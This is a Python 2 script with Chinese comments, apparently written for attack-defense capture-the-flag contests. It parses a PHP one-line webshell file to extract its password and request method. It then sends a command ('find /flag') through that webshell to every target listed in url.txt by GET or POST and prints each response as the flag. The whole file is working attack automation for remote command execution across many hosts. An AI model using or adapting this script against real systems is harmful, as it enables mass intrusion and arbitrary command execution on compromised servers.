#-*- coding: utf-8 -*-
import urllib
import urllib2
import re 
import os

# 定义基本参数
attackOrder = "\'find /flag\'" #查找flag文件
urlFile = 'url.txt' #加载攻击目标IP

# 获取攻击URL列表
try:
    f = open(urlFile, 'r')
    urllist = f.readlines()
    url = [x.strip() for x in urllist if x.strip() != '']
    f.close
except:
    print "[!] Not Found URL List File"
    exit()

# GET请求方式
def Attack_get(attackUrl, path, name, password ,order = attackOrder):
    url = attackUrl + "/" + path + "/" + name + "?" + str(password) + "=" + urllib.quote(order)
    try:
        req = urllib2.Request(url)
        res = urllib2.urlopen(req, timeout=1)
        status = res.code # 获取反馈HTTP状态码
        if status == 200:
            print "[+] Attack Successed!"
            flag = res.read()
            print "[FLAG] Flag is " + flag
    except:
        print "[-] Shell 404..."

# POST请求方式
def Attack_post(attackUrl, path, name, password, order = attackOrder):
    post_data = {password:order}
    post_data_urlencode = urllib.urlencode(post_data)
    try:
        req = urllib2.Request(url = attackUrl + "/" + path + "/" + name,data = post_data_urlencode)
        res = urllib2.urlopen(req, timeout=1) #获取反馈HTTP状态码
        status = res.code
        if status == 200:
            print "[+] Attack Successed!"
            flag = res.read()
            print "[FLAG] Flag is " + flag
    except:
        print "[-] Shell 404..."

#读取一句话后门匹配相关信息
def matchInformation(LocalPath): 
    try:
        f = open(LocalPath,'r')
        backdoor = f.read()
        source_pat = "eval(.*?);|assert(.*?);|system(.*?);"
        method_pat = "\$_(.*?)\["
        password_pat = "\['(.*?)'\]|\[\"(.*?)\"\]"
        name = os.path.basename(LocalPath)
        source = re.search(source_pat, backdoor).group() #查找一句话后门源码
        method = re.findall(method_pat, source)[0] #查找一句话后门请求方法
        password_list = list(re.findall(password_pat, source)[0])
        while '' in password_list:
            password_list.remove('')
        password = password_list[0] #查找一句话后门密码
        f.close()
        return name, method, password
    except:
        print "[-] Load Shell Failed..."

if __name__ == '__main__':
    #获取基本参数-Shell地址、Web目录
    LocalPath = raw_input("[*] Load Shell: ")
    WebPath = raw_input("[*] Shell WebPath: http://URL/")
    information = matchInformation(LocalPath)
    name = information[0]
    method = information[1]
    password = information[2]
    #os.remove(LocalPath)
    for i in xrange(0, len(url)):
        target = url[i]
        print "[+] Attacking Target:"+target
        if method  == 'GET':
            Attack_get(target, WebPath, name, password)
        else:
            Attack_post(target, WebPath, name, password)